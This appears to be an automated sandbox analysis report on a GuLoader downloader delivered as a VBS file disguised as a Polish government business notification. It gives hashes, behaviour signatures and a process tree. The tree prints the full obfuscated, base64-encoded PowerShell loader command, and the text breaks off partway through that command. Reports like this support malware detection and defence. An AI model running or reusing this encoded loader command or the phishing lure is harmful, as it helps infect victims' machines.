guloader | 495e1bbabd75f52ef121d09757fd2bc5e9df6ccd3045833ecac728c989e7480b

Analysis

max time kernel
98s
max time network
84s
platform
windows10-1703_x64
resource
win10-20220901-en
resource tags

arch:x64arch:x86image:win10-20220901-enlocale:en-usos:windows10-1703-x64system
submitted
23/09/2022, 18:48

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

Biznes.gov.pl - NOWE POWIADOMIENIE.vbs
Size

237KB
MD5

3b44f9c301fc02ddcdaec3893ce0d421
SHA1

182b3d7b57424ef1412d90e947a22c83d727401f
SHA256

7e0824dcf9801cf2e1b48e649e5adcc9d08cd713f35e0f32fc06e1cf4747119b
SHA512

1d0d651c91f05de502b8ebced7fe475c4431a537209a3451481d03d674d269b2c7018f8438217813e32f1e152b2bdb2da46716c32350290b57b7cdaed901d921
SSDEEP

6144:hKDaFN8dz4fPsajmbuHObySQ1bpvSQ3GbpOfE+fi9:hKWNk0slbuHwxQ1bwuGMk

Score

10^/10

guloader downloader

Malware Config

Signatures

Guloader,Cloudeye
A shellcode based downloader first seen in 2020.
downloader guloader

Blocklisted process makes network request 1 IoCs

flow	pid	Process
2	2744	WScript.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 5 IoCs

pid	Process
3492	powershell.exe
3492	powershell.exe
3492	powershell.exe
3976	powershell.exe
3976	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	3492	powershell.exe
Token: SeDebugPrivilege	3976	powershell.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 2744 wrote to memory of 3492	2744	WScript.exe	66
PID 2744 wrote to memory of 3492	2744	WScript.exe	66
PID 2744 wrote to memory of 3492	2744	WScript.exe	66
PID 3492 wrote to memory of 5080	3492	powershell.exe	68
PID 3492 wrote to memory of 5080	3492	powershell.exe	68
PID 3492 wrote to memory of 5080	3492	powershell.exe	68
PID 5080 wrote to memory of 4872	5080	csc.exe	69
PID 5080 wrote to memory of 4872	5080	csc.exe	69
PID 5080 wrote to memory of 4872	5080	csc.exe	69
PID 3572 wrote to memory of 3976	3572	WScript.exe	73
PID 3572 wrote to memory of 3976	3572	WScript.exe	73
PID 3572 wrote to memory of 3976	3572	WScript.exe	73

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Biznes.gov.pl - NOWE POWIADOMIENIE.vbs"
1⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:2744
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -e "JABBAGwAZQBtAGkAdABlAGEAZAAgAD0AIABAACcADQAKAEEAZgBkAGEAbQBBAEwAaQBuAGoAZQBkAEIAbwByAHQAcwBkAGUAdQBmAG8AcgAtAFAAYQBzAHQAaQBUAHMAcABhAGQAYQB5AFAAcgBlAGoAdQBwAEEAYwByAG8AYwBlAEIAZQBmAGEAZQAgAGgAZQBsAGkAbwAtAFMAYQBkACAARgBUAEoAaQBsAHQAZQB5AFQAcgBhAG4AcwBwAEwAbgB0AGkAbABlAGgAbwB2AGUAZABEAFUAbABlAGoAbABlAEsAcgBlAGQAaQBmAFQAbQBtAGUAcgBpAFMAdQByAGgAZQBuAGQAZQBwAG8AbABpAFQAcgB5AHMAdAB0AEMAcgBvAHMAcwBpAE8AdgBlAHIAdABvAE8AdgBlAHIAbQBuAE8AbQBuAGkAYgAgAGMAbwBuAGcAZQBAAEkAcwBjAGUAbgAiAAoAUgBlAGYAcgBlAHUAUgBlAHMAcABpAHMAcwBrAGEAbgBkAGkATABhAG0AZQBuAG4AcgBvAG0AYQBuAGcAUwBoAG8AdQBzACAAQQBmAGUAbgBpAFMASABlAGwAbABlAHkAQwBvAG4AcgBhAHMAVABoAGkAZwBtAHQAQQBuAHQAaQBoAGUAUwB0AGEAdABpAG0AUwBvAHYAZQBwADsACgBpAGsAdAB5AG8AdQBLAG4AeQB0AHQAcwBjAG8AbQBwAHUAaQBEAGkAcwBlAG4AbgBBAGQAZQBsAHMAZwBHAGUAbgBuAGUAIABTAHIAbABpAG4AUwBQAGEAcgBzAG8AeQBVAG4AYQBzAHAAcwBGAHkAcwBpAHUAdABJAG4AdABlAHIAZQBNAGUAdABhAGwAbQBVAG4AcgBlAGYALgBXAGEAcwBhAGIAUgBDAGEAdgBlAHIAdQBUAGUAcgByAG8AbgBIAGUAcgByAGUAdABBAGYAcwB0AG4AaQBQAHIAZQBkAGUAbQBCAGUAZAB1AGkAZQBIAG8AbgBuAGkALgBQAG8AcwBlAG4ASQBBAG4AYQBuAHQAbgBXAGkAbgBuAGUAdABMAHUAZgB0AGgAZQBVAG4AZAB1AGwAcgBTAGsAaQBuAGQAbwBVAHMAeQByAGUAcABBAGYAZwByAGkAUwBBAHUAcgBlAG8AZQBuAGUAdQByAG8AcgBQAGgAZQBhAHMAdgB0AHIAYQBnAGkAaQBhAGwAZgBhAGUAYwBVAGQAcgBqACAAZQBSAGkAbgBnAG4AcwBiAGkAYgBsAGkAOwAKAEEAdQB0AG8AbgBwAEIAZQBzAHQAeQB1AGsAcgBhAG4AZQBiAEcAdQBsAGQAYQBsAFQAYQBuAHQAZQBpAE8AdQB0AGIAdQBjAEQAcgBpAGYAdAAgAEsAbwBuAHMAdABzAFIAZQBtAGEAcgB0AFIAYQBwAHMAbQBhAHMAcABsAGUAbgB0AEYAZQBzAHQAcwBpAFUAZABmAGwAZABjAEYAcgBhAHQAZQAgAFMAcABhAGQAZQBjAEIAcgBpAG4AdABsAFAAbwBjAGgAZQBhAE0AdQBsAHQAaQBzAEYAbwByAHMAdABzAFMAawBsAHMAawAgAEYAbwByAHMAdABjAFMAdAByAGEAbgBlAE0AZAByAGUAaABsAEwAZQBhAGQAcwBsAGkAbQBkAGUAZwBvAFcAaQBsAGwAbwAxAAoAUgBlAGwAaQBlAHsAQgBvAGIAYwBhAFsASwB1AGwAZQBnAEQAVAByAGEAZgBpAGwARwB1AGQAZQBsAGwASABqAG8AcgB0AEkASwBlAHIAbgBlAG0ASwByAGEAbgBpAHAAQwBpAHYAaQBsAG8ATgBvAG4AZwBhAHIASwBhAHQAYQBzAHQARABpAHMAcwB3ACgAQgBlAGEAdQBmACIATQBpAHMAcwBpAEEARgByAGkAZwBqAEQASAB5AHAAaABlAFYARQBuAGQAYQBuAEEAUwB2AHIAZABzAFAAUAByAGUAYwBvAEkARgBvAHIAZABsADMARQBmAHQAZQByADIAUwBuAGUAbQBhAC4ARQBuAHMAdwBhAEQAQQBiAGMAZQBuAEwARgBlAGwAZABzAEwAYQByAGIAZQBqACIATABsAGkAbgBnACkASQBjAGgAbgBlAF0AVABhAGMAaAB5AHAAVQBuAGQAZQByAHUASwBuAHMAYgBlAGIAQgB1AG0AcwBlAGwAUgBlAGgAYQByAGkAQgByAHQAcwBlAGMARABvAHoAZQBuACAAbQBhAGkAcwB0AHMAQgBlAGgAZQByAHQARwBlAGkAcwBzAGEATQBlAGkAbwB0AHQAUwBrAG8AbABlAGkAYgBvAHMAdABlAGMARQBzAG8AcABoACAAVgBlAG4AcwBrAGUAQwByAGkAYgByAHgARAB1AG8AYwBvAHQARQBuAGEAcgB0AGUASwBrAGsAZQBuAHIATQBhAHIAZwBpAG4ARwBhAHIAdgBlACAAVAByAGsAdQBsAGkASwBpAHQAdABpAG4AdQBuAHMAZQBuAHQAQgBpAG8AZgBhACAARABpAHIAaQBnAFIAQQBmAGsAbABpAGUAQgByAGEAcwBlAGcARwBhAHIAbgBlAEQAUgBhAHAAcwBtAGUAQwBhAHIAaQBuAGwAQgByAG4AZABzAGUAQQB6AGkAbwBsAHQAcAByAG8AZgBlAGUAbgBvAHQAbwBjAEsAQwB5AGwAaQBuAGUAUwBrAHIAaQB2AHkAVgBhAGEAZwBuACgASQBuAHQAaQBtAGkARgBlAGQAZQByAG4AVAByAGkAdgBlAHQAcwBwAGUAYwBpACAAcgBvAHMAZQBhAFMATQBhAGsAcgBvAGwARgBpAG4AZABqAHUASgBlAG4AdAByAHQAQwBvAG0AaQBjACwASwB1AG4AZABlAGkAcABzAGUAdQBkAG4AQgBlAGwAZwBuAHQAVABpAGwAcwB0ACAAUABhAHIAdABsAE4AUwBrAG0AdABlAG8ASABlAGwAcwBpAG4ATQBhAHQAcgBpACkAUwB0AGkAZwBtADsACgBTAHcAaQBzAHMAWwBlAHIAcwB0AGEARABGAHUAbgBrAHQAbABQAGgAYQBzAGkAbABkAGUAbABzAHQASQBCAGUAZABrAG4AbQBDAG8AeQBwAG8AcABTAHYAYQBuAHMAbwBIAGkAbABzAGUAcgBBAGQAZQBuAGEAdABEAGkAcwBwAHIAKABTAGUAeABvAGwAIgBuAG8AbgByAGUAawBPAHYAZQByAGQAZQBLAG8AbwByAGQAcgBHAGUAbgBmAG8AbgBTAGEAYgByAGUAZQBIAG8AbQBlAGIAbABUAHMAawAgAFAAMwBTAGsAbwB2AHMAMgBBAGMAcgBhAGwAIgBDAGgAYQBwAGUAKQBpAG4AZABiAHkAXQBGAG8AcgBlAHMAcABTAG8AYwBpAG8AdQBlAG4AdABlAHIAYgBCAHIAYQBjAGUAbABUAGEAawBrAGUAaQBJAHMAbABhAHkAYwBTAHUAbQBtAGUAIABTAGwAaQBwAGMAcwBTAHAAZQByAGcAdABNAGEAcgBiAGwAYQBUAHYAYQBuAGcAdABCAHIAZQBjAGgAaQBBAGsAawB1AHMAYwBJAHAAbQAgAEQAIABTAGsAaQBuAGQAZQBBAGIAcwB1AHIAeABGAHUAbABkAGIAdABhAHIAYgBlAGoAZQBIAGUAdABlAHIAcgBHAG8AYQB0AHAAbgBSAGUAdgBlAHIAIAB1AGQAYgB5AHQASQBUAGEAbABvAG0AbgBKAGkAbQBtAHkAdABQAHMAeQBjAGgAUABTAHQAaQBsAGwAdABWAGkAawBpACAAcgBLAG8AbgB0AHIAIABCAHIAdAB0AGUARQBSAGUAdAByAGEAbgBUAHIAYQBjAGgAdQBPAHIAZAByAGUAbQBQAGEAbgBkAGEAUwBQAHIAbwBiAGwAeQBUAHUAcwBrAGgAcwBOAG8AbgBjAG8AdABBAGYAdABlAHIAZQBHAHIAZQBuAGEAbQBEAG8AcwBhAGcATABHAGEAbQBiAGkAbwBDAG8AdQBuAHQAYwBSAGUAbgBzAGQAYQBCAGEAcgBvAG0AbABXAGgAbwBzAGkAZQBQAHIAZQBzAHQAcwBMAGUAcABpAGwAQQBWAGUAbAB2AGUAKABPAHAAdgBhAHIAdQBTAGgAbwB1AGcAaQBUAHIAZABlAHMAbgBtAG8AbQBtAGEAdABCAGwAYQBhAGwAIABBAHIAaQBzAHQAdgBBAG4AaQBzAGIAMQBTAHUAYgBsAGkALABGAGkAbgBwAHUAaQBNAG8AYQB0AGUAbgBBAGYAYQBzAGkAdABDAGgAYQBtAHAAIABVAG4AZwByAHUAdgBTAHQAZQBkAGIAMgBNAGUAbABsAGUAKQBQAGgAeQBzAGkAOwAKAE0AbwBuAHUAbQBbAE8AeAB5AGcAZQBEAFAAZQB0AGUAeQBsAE8AcABnAGEAdgBsAEEAZgBtAGUAagBJAHUAbgBkAGUAcgBtAFQAbwBhAGQAcABwAFMAdABpAGcAbQBvAEsAdQBsAGQAZQByAEMAeQBtAHUAbAB0AFMAawBpAGYAZQAoAEsAYQB0AGEAbAAiAFMAaQBuAHQAZQB1AFQAYQBiAGUAbABzAEYAbwByAGQAYQBlAEIAbwBlAHIAIAByAEIAbABhAGMAawAzAEUAcABpAGcAcgAyAEEAbABhAG4AcwAiAEQAcgBpAGYAdAApAEwAdgBmAHIAIABdAEgAdQBtAGUAYQBwAFIAbwBhAGQAYwB1AEkAbgB0AGUAcgBiAFIAZQB2AGEAbABsAFUAZABhAG4AbgBpAG8AcABzAGwAbQBjAFoAYQBuAGkAbgAgAEMAcgBvAGMAawBzAEsAYQB0AGUAZAB0AEMAbABpAG4AaQBhAFYAYQBsAGUAcgB0AEgAaQBuAHQAZQBpAE0AbwBuAGcAcgBjAEEAcwB0AHIAbwAgAEYAbAB1AGYAZgBlAFAAcgBlAGcAcgB4AFQAaAByAGkAbgB0AEYAcgBhAHoAZQBlAEsAcABwAGUAbgByAFIAaQBnAGgAbwBuAFUAZABlAG0AaQAgAEYAaQByAG0AYQBpAEkAbQBkAGUAZwBuAFMAZQBsAHMAawB0AEcAaQBsAGIAZQAgAE0AaQBkAHcAaQBEAE0AaQBzAGIAZQBkAEkAbQBwAG8AdgBlAFIAZQBuAHMAZABHAFUAbgBzAGwAYQBlAEIAZQByAGUAdAB0AFIAbwB1AHAAaQBMAFUAbgBkAGUAcgBhAEgAbwBsAHkAZABzAFEAdQBhAGQAcgB0AHMAcABpAGwAZABFAEYAbwBkAGUAcgByAFAAYQB1AHAAZQByAE8AdgBlAHIAdgBvAEgAbwB2AGUAZAByAEMAYQBsAHYAYQAoAEIAYQByAGkAdQBpAEEAZgB0AGUAbgBuAEIAZQBuAHoAYQB0AGcAZQBvAGcAcgAgAG8AdQB0AHMAcABIAEMAaABpAGwAaQBqAHAAZQByAGMAZQBsAEkAbgBkAGIAcgApAEIAbwByAHQAcwA7AAoAVQBuAGQAcgBpAFsARQBzAHQAbwBuAEQARgBlAGwAdABoAGwAQQB1AHQAbwBvAGwAQgByAGUAdAAgAEkARQBmAHQAZQByAG0AcAByAGUAYgBlAHAAVQBuAG4AbwBjAG8ATABhAGcAZQByAHIATgBvAG4AbwBiAHQAUwB1AHMAcABlACgAVABlAGsAcwB0ACIAQQBpAHIAYwByAHUAUwBuAHUAcgByAHMARQB4AGMAbABhAGUAVwBhAGcAZwBvAHIAVABlAHAAbwBzADMARQBrAHMAdABlADIASwBpAG8AcwBrACIATABhAHMAdABuACkARABpAGwAYQB0AF0AUwB5AG4AbwByAHAAawB1AGwAdAB1AHUAUwBjAHIAZQBlAGIARgBvAHIAcwB0AGwAQgB1AHMAaABsAGkAUgB1AHMAdABrAGMAUABzAGUAbABhACAATQB1AGwAdABpAHMAVAByAGkAYwBoAHQAQgBlAHYAcgB0AGEAVABpAGwAcwBrAHQAcABvAHIAdABpAGkATAB1AG0AcABpAGMASABhAGwAaQBvACAAUAByAGUAdgBlAGUAQQByAGIAZQBqAHgAQQBjAGMAdQBzAHQATwByAHQAaABvAGUAUgBlAHYAZQBhAHIARwB1AG4AdABlAG4AUwBwAGEAbAB0ACAARgB1AHQAdABlAGkAQQBuAGQAZQBuAG4AQgBvAG4AcwBlAHQARABvAHIAYQBzACAATABpAG0AbgBlAFMARABlAHMAdABhAGUAVgBlAG4AZQByAHQAVwBlAGwAYwBoAFMARAB1AGwAYwBpAHkAQQBmAGYAaQBuAHMAQQBuAHgAaQBvAEMATABkAHIAZQByAG8AUABvAGkAcwB0AGwAUwB0AHIAYQBhAG8ARgByAG8AcwB0AHIAdABhAHUAdABlAHMAQQBuAHQAZQBuACgAUABhAHAAaQByAGkATABpAG4AagBlAG4AQwBhAG4AZQBsAHQAYgBhAHMAaQBzACAAcgBlAGwAYQBkAFMAQgB1AGsAbgBpAGUAVwBvAGwAZgBzAG0AQQBzAGsAZQByAGkAQgBlAG4AZwBsACwAUAByAGkAegBlAGkAUgB1AHMAdABzAG4AYwB5AGMAbABvAHQAQgBlAGwAYQB5ACAAbQBhAHQAZQByAFkAVwBvAG8AZABiAGUAUABvAHQAcwBpAG4AUwB1AHAAZQByAGkARgBsAG8AbwBkACwARgBhAHIAbQBzAGkAbgBvAHYAZQBuAG4AUABvAHQAZQBuAHQAYQByAGIAZQBqACAAdwBoAGkAegB6AFMASQBzAHQAYQBuAHUAbwB2AGUAcgBrAGIARABtAG8AbgBpAGQATABvAHQAYQBzADcATwBtAHAAbABhADQAUgBlAGwAZQBnACkAUwBlAHAAdABzADsACgBDAGUAbABsAGUAWwBJAG4AdABlAHIARABTAHQAdQBtAHAAbABTAHUAYgBlAG4AbABTAGEAZABvAG0ASQBJAG4AbwBtAHkAbQBMAGUAdQBjAG8AcABOAGEAaABvAHIAbwBQAHIAbwB0AHUAcgBIAGkAZQByAGEAdABGAGwAYQByAGUAKABBAG4AdABpAG8AIgBGAGwAeQBkAG4AawBTAHUAYgBsAGUAZQBBAHMAdAByAGEAcgBjAGgAaQBuAGEAbgBQAGEAbABsAGUAZQBGAGwAYQBhAGQAbABlAGwAZQBrAHQAMwBKAG8AdQByAG4AMgBTAHQAZQBuAHQAIgBSAGUAcABlAHIAKQBDAG8AbABsAGUAXQBDAG8AcABpAGUAcABNAGkAZwBoAHQAdQBSAG8AcwB2AGkAYgBNAGkAcwBiAGkAbABJAG0AcABhAHIAaQBTAHUAYgBqAG8AYwBCAHIAZQBhAHMAIABNAGUAbgB1AGkAcwBPAHAAcwB2AGkAdABwAGkAcwB0AGkAYQBCAG8AYgBlAHMAdABDAGEAbgBjAGUAaQBLAGEAbABmAGEAYwBSAGUAdABhAGkAIABIAHkAZwBpAGUAZQBQAHAAbQAgAFUAeABpAG0AbQBpAG4AdABCAGUAcwBrAHkAZQBBAGQAbQBpAHIAcgBQAGUAZwB3AG8AbgBNAGEAbQBtAG8AIABUAGkAZABzAGYAaQBTAGEAbAB0AGUAbgBTAHQAZQBkAHMAdABDAGwAYQByAGsAIABJAG4AZABsAGUAVgBUAGEAbABlAHMAaQBVAG4AZgByAHUAcgBQAHIAZQBuAHUAdABTAHUAYgBtAGkAdQByAGgAYQBiAGQAYQBEAGkAcwBrAGEAbABBAGMAYwBsAGkAQQBTAGUAbgBlAHMAbABaAGUAYQBsAGEAbABCAGEAYQB0ACAAbwBTAGkAawByAGkAYwBTAG0AaQBsAGUAKABDAG8AbgBkAHUAaQBTAGsAdQBiAG8AbgBLAGEAcgBlAGwAdABEAG8AYwB0AG8AIABVAG4AYgBlAGwAdgBTAHQAYQBwAGwAMQBTAG8AYwBrAGgALABSAGUAdQBwAGgAaQB0AGUAdABhAHIAbgBQAGgAcgBhAHMAdABlAG0AcABpAHIAIAB1AGQAbQBhAHIAdgBPAHAAcwBpAGcAMgBBAG4AdABpAHQALABMAGUAYQBkAHcAaQBBAG0AeQBsAG8AbgBpAG4AcwBhAHQAdABVAG4AcgBlAHAAIABCAGwAaQBuAGQAdgBnAHMAdABlAHAAMwBPAHUAdgByAGkALABUAGYAdAAgAFMAaQBBAGQAZwBhAG4AbgBUAGkAbABzAHkAdABUAHIAYQBuAHMAIABOAG8AbgBjAGEAdgBtAGkAcwBjAGEANABQAGEAcgBpAHMAKQBoAGEAdABjAGgAOwAKAFMAbgBvAHcAYgBbAFUAZABkAGEAbgBEAFcAaQBuAG4AbwBsAFYAaQBsAGoAZQBsAE4AZABsAGEAbgBJAEMAbwBwAHkAZABtAGYAbwByAG4AZABwAE8AYQBrAGwAYQBvAEsAYQBtAGkAawByAEMAcgB1AGMAaQB0AEEAdABvAG0AcwAoAFMAdABvAGYAdAAiAEsAcgBlAG0AZQBtAFMAawBvAHYAbABwAEkAcwBvAHQAcgByAEcAZwBlACAASQAiAE0AYQB4AGkAbAApAE0AZQBmAGkAcwBdAEQAbwBrAHUAbQBwAEQAaQByAGUAYwB1AFMAawByAGUAZABiAEwAYQBzAGsAZQBsAEUAZgB0AGUAcgBpAE8AbQBnAG4AZwBjAEkAbgBkAHQAcgAgAEsAbwBtAG0AcABzAEIAbABkAGcAcgB0AFMAeQBtAHAAdABhAHQAcgBhAG4AcwB0AEgAbwByAG8AbABpAFQAaQBsAGIAYQBjAFYAaQByAGkAbAAgAE0AYQB5AGIAZQBlAEYAbwByAGIAZQB4AEUAcABoAGUAYgB0AFIAaQBnAGEAdQBlAEEAZgBkAHIAeQByAEIAcgBuAGQAcwBuAFQAeQBrAGgAYQAgAE4AbwBuAHUAcABpAFAAYQBuAHUAcwBuAFAAbABhAHAAcgB0AEoAbwBsAHQAaQAgAFAAbwBlAHQAaQBXAGUAawBhAGMAYQBOAEQAaQBzAHAAbABlAEkAbQBwAGwAaQB0AFYAYQBzAG8AcwBHAEYAYQB0AHcAYQBlAHQAZQBsAG8AbQB0AFMAdAByAGsAbgBVAE0AdQB0AHQAZQBuAEIAaQBkAHIAaQBpAEoAdQBuAHQAbwB2AFMAdQBwAGUAcgBlAEYAdQB0AHUAcgByAEIAbwBuAGQAZQBzAEsAZQBuAG4AaQBhAEcAeQBwAHMAaQBsAGQAbwBqAGkAZwBOAFAAcgBlAHQAYQBhAFQAaQBsAHMAawBtAHMAdABpAGMAawBlAFIAYQBpAG4AbQAoAFUAaQBtAG8AZABpAE0AYQBuAHUAZgBuAEYAbwByAGgAcgB0AEUAeABlAHUAbgAgAEsAYQByAGUAdABTAFIAbwBuAGkAYQBhAFMAeQBtAGIAbwBtAEIAcgBrAGEAZwAsAEIAZQB2AGkAbgBpAE0AeQBjAGUAbABuAFMAdQBwAGUAcgB0AFUAbgB3AGEAcwAgAFMAcABlAGMAaQBUAFUAbwBwAG0AcgBhAFMAcABpAGwAZABhAHMAYQBuAGUAcgAsAEMAYQBuAHQAaQBpAE0AZQBuAGQAZQBuAEUAbgBnAGUAbgB0AEEAZQBtAGkAbAAgAGMAZQBtAGUAbgBJAEsAYQBuAGQAaQBtAFMAawBpAG4AbgBwAFMAZQByAHIAYQBpAE0AaQBzAHUAcgBuAFUAbQBpAG4AZAAsAHYAYQBnAHQAbQBpAEwAYQBmAGcAaQBuAFQAZQBsAG8AdAB0AHMAcAByAGEAdwAgAEwAdQBtAHAAcwBBAEYAbwByAGIAaQBmAFYAZQBrAHMAZQBzAEkAcwBvAGwAZQB0AFcAaABlAHIAZQAyAEIAaQByAGsAZQAyAHQAZQByAG0AaQAyAFMAdgBhAGwAZQApAEsAbwBuAGYAdQA7AAoAUwBrAHYAZQByAFsAVABhAHIAdAB1AEQASABhAHYAZQBoAGwARABlAGsAbABpAGwATwBuAGMAYQAgAEkARwByAG4AcwBlAG0ARgByAGkAdABhAHAAUABvAHMAdABlAG8AUwB1AGIAcQB1AHIAQgBhAGwAbABvAHQASQBuAHMAZQBjACgARwBhAHIAaQBrACIAVABlAHUAYwBoAEEATwBiAHQAZQBjAEQAcAByAGUAbQBvAFYAUwBjAGEAbgBkAEEAUAByAG8AZwByAFAAQQByAHYAZQBtAEkAVABpAGQAcwBoADMATABwAGwAYQBuADIAQgBhAGwAbABvAC4ATQB1AGMAcgBvAEQATwB1AHQAZAByAEwAUwB0AGkAdgBlAEwAQQBuAGEAawBpACIASwBvAGwAaQBiACkAVABpAGQAbwBiAF0AUgBhAGQAaQBhAHAAVQBkAHYAYQBlAHUAUgBpAHQAdQBhAGIATQBvAHQAYQB6AGwAUwB1AGIAdAByAGkATgBlAHAAaAByAGMAdABlAGwAZQBmACAARAByAGUAagBlAHMATwBtAGYAYQB0AHQARwBlAG8AYgBsAGEAVQBkAGgAbgBnAHQAQQBuAHQAZQBvAGkARABlAHMAYwByAGMAVgBhAGYAbABlACAATwByAGkAZwBpAGUAVgBhAG4AZABzAHgASQBuAGQAZABhAHQAUwBtAGEAYQBiAGUAUABsAHUAcwBoAHIASwBpAGwAbgBlAG4ARQB0AGgAYQBuACAAVgBpAGQAdQBhAGkAQQByAHQAaQBmAG4AUAB1AGcAYQByAHQAUAB1AHAAaQBmACAARABlAGwAZQBnAEEAQQBjAGMAdQBiAGIATwB2AGUAcgBkAG8AUAByAGUAZwBhAHIAUABsAHkAbgBkAHQASQBuAHQAZQByAFMAUAByAGkAcwBzAHkAQgBpAGIAZQBsAHMAYQBuAGsAZQBjAHQARQBwAGgAZQBtAGUAUgBlAHMAbwBjAG0AcwBtAGEAZwBzAFMASQBuAGQAcwBwAGgAVwBhAGkAZwB1AHUAVgBhAHIAZQBsAHQAYQBuAGEAYwBvAGQAQgByAG8AZABlAG8ATwBiAHMAawB1AHcAQQByAHMAZQBuAG4AcwB0AGEAcgBzACgASABhAHIAdgBlAGkAQQBuAGcAbABpAG4ATABuAGsAZQBoAHQATAB1AGMAcgBpACAARgBhAGUAcgBvAEQAUwB1AGIAdAByAHUAUwBwAGUAYwBpAGUAUABvAGwAYQByACkASwBvAGwAbwBuADsACgBGAGkAbABpAHMAWwBNAG8AcgBlAGkARABQAGEAYQBzAGsAbABVAG4AbQBlAHQAbABIAHkAbABkAGUASQBEAG8AZwBnAHIAbQBIAGUAbABmAGwAcABaAG8AZQB0AHIAbwBSAG8AdQB0AGUAcgBVAHIAZgBqAGUAdABUAG8AdABlAG0AKABVAG4AaQB2AGUAIgBJAHIAcgBhAGQAdQBFAGYAdABlAHIAcwBTAHQAdgBrAG8AZQBDAG8AbQBwAHIAcgBLAGEAbgBkAGkAMwBQAHIAZQBhAGQAMgBNAHUAbQBtAGkAIgBTAG8AcgBhAG4AKQBQAGEAcgBsAGEAXQBCAGkAbwBuAGkAcABIAGUAbQBtAGUAdQBGAGEAbgBnAG8AYgBLAGEAdABzACAAbABZAGEAawBvAG4AaQBVAG4AdwBhAHIAYwBHAHUAZABlAG4AIABBAGYAZgBlAGoAcwBTAGEAbQBsAGUAdABCAGEAdAB0AGEAYQBBAG4AZAByAGUAdABkAGEAZwBwAGEAaQBEAGEAbQBwAGsAYwBTAGUAbABpAG4AIABDAGwAbwBkAGgAZQBSAG8AcgBwAGkAeABSAGUAYwBvAG0AdABNAGUAcgBvAGQAZQBUAGUAbABlAG0AcgBCAHIAYQBjAGgAbgBLAG8AbQBtAGEAIABkAHIAbwBzAGsAaQBTAHAAcgByAGkAbgBIAG8AdgBlAGQAdABDAGwAZQBhAHIAIABGAHIAZQBvAG4ARwBNAG8AbgBpAGMAZQB1AGQAbABlAGoAdABWAGUAcgBzAG0AUABHAGUAbgB1AGQAcgBTAHkAZABrAHkAbwBBAHMAZQBpAHMAYwBCAG8AdwBuAGUAZQBUAHIAbwBtAG0AcwBCAG8AdQB6AG8AcwBpAG4AZgB1AHMAVwBPAHYAZQByAGQAaQBEAGkAcwBpAGwAbgBTAGMAaABhAHYAZABkAHUAbQBwAGkAbwBBAG4AZAByAG8AdwBQAG8AYQBjAGgAUwBqAGUAbgBmAG8AdABFAG4AYwBlAHAAYQBPAHAAcwBsAGkAdABIAGUAeABhAGQAaQBDAGgAZQBmAGkAbwBrAG4AawBnACAAbgBLAG8AaQBuAGMAKABBAG4AYwB5AGwAKQBMAGUAdABjAGgAOwAKAEgAdgBpAHMAawBbAEIAYQBkAHUAbABEAGwAbwBkAHMAZQBsAEQAYQBpAG4AdABsAEQAaQBzAGMAbwBJAFMAdgBrAGsAZQBtAEcAaABlAHIAYQBwAFAAcgBvAHQAbwBvAFUAbgBhAHQAdAByAEYAbABsAGUAcwB0AFQAZQBhAGsAdAAoAFAAYQBwAGUAZwAiAEMAaABhAGkAdAB3AEYAbAB1AG8AcgBpAEkAbgBkAGUAYwBuAFIAZQB2AGEAbgBzAFAAZQBuAHQAYQBwAEMAcgB5AHMAdABvAFUAbQBpAHMAZgBvAEcAbAB1AHQAZQBsAEsAYQBzAG0AIAAuAEYAaQByAGUAcABkAFMAcQB1AGEAdwByAEYAYQBuAGUAbgB2AFMAcABpAHQAZQAiAFMAdQBwAGUAcgApAFAAYQBjAG8AcgBdAEYAagBlAHIAawBwAFAAaQBsAGsAbwB1AFMAZQByAHYAaQBiAE4AYQB0AHQAeQBsAEEAaQBtAGwAZQBpAE4AbwBtAGEAZABjAEwAYQBtAGEAcgAgAEcAaQBkAGQAZQBzAE0AbwBuAGEAcgB0AFQAYQB1AG0AIABhAFAAbwBsAHkAegB0AFAAYQByAGEAcwBpAFIAdQBtAG8AdQBjAFMAawBpAGIAZQAgAE0AZQBkAGkAYQBlAFUAbgBwAGUAZwB4AFAAdABlAHIAeQB0AFMAYQBtAGYAdQBlAEYAbwByAGIAcgByAEUAdQBjAGgAcgBuAEMAbwBtAHAAbwAgAFMAcwB0AGUAcgBpAFIAYQBhAGUAcgBuAE0AYQB0AGUAcgB0AHIAbwB1AGcAaAAgAFcAbwBvAGYAZQBFAEIAZQBnAHIAaQBuAFMAawBpAGIAcwB1AFAAYQByAGEAcwBtAFcAaQBjAGsAZQBQAEYAaQBsAHQAZQByAFMAdQBiAGUAbQBpAFEAdQBpAHQAcgBuAFUAZABzAGsAcgB0AEsAdgBhAGQAcgBlAEQAaQBhAHAAaAByAFQAaQBuAHcAYQBQAEMAcgBvAHMAcwByAEIAaQBsAGEAZwBvAE8AbAB1AGYAZgBwAFIAaABhAHAAaQBlAEwAdQBmAHQAdAByAE8AcwB0AGUAbwB0AFYAaQBjAGUAYQB5AFkAZABlAHIAaQBTAFQAcgBhAGcAaQBoAFMAdABpAGcAbQBlAEcAYQBtAGwAaQBlAFAAcgBlAGQAaQB0AE4AbwBuAHoAbwBzAEEAbgBzAGUAbAAoAFQAYQBrAHQAcgBpAEYAbwByAGYAYQBuAFMAZQBxAHUAZQB0AFQAcgBpAG4AZQAgAFUAcABmAHIAYQBCAGcAZQBsAG8AcwBhAFMAcAByAGkAbgByAEQAZQBsAHIAZQAsAFMAaQBuAGsAaQBpAEkAbgBkAGIAZQBuAEUAbgBlAHIAZwB0AFMAdABvAHMAbgAgAE4AbwByAGQAZgBIAFQAcgBhAHUAbQBlAEsAdgBkAGUAcgBpAEMAaABhAHAAdABsAHAAZQBlAHcAZQAsAEcAbABpAGQAaQBpAEIAZQBoAGEAbgBuAEgAdQBsAGsAbwB0AEMAbwBuAHQAcgAgAEEAdQB0AG8AcABjAEoAdQBsAGUAbABhAE0AaQBsAGwAaQBsAEEAbABsAGUAeQAsAFIAbwBtAGEAbgBpAEUAbQBiAGUAbABuAHAAcgBlAG0AaQB0AFQAaQBsAHMAaQAgAEUAcQB1AG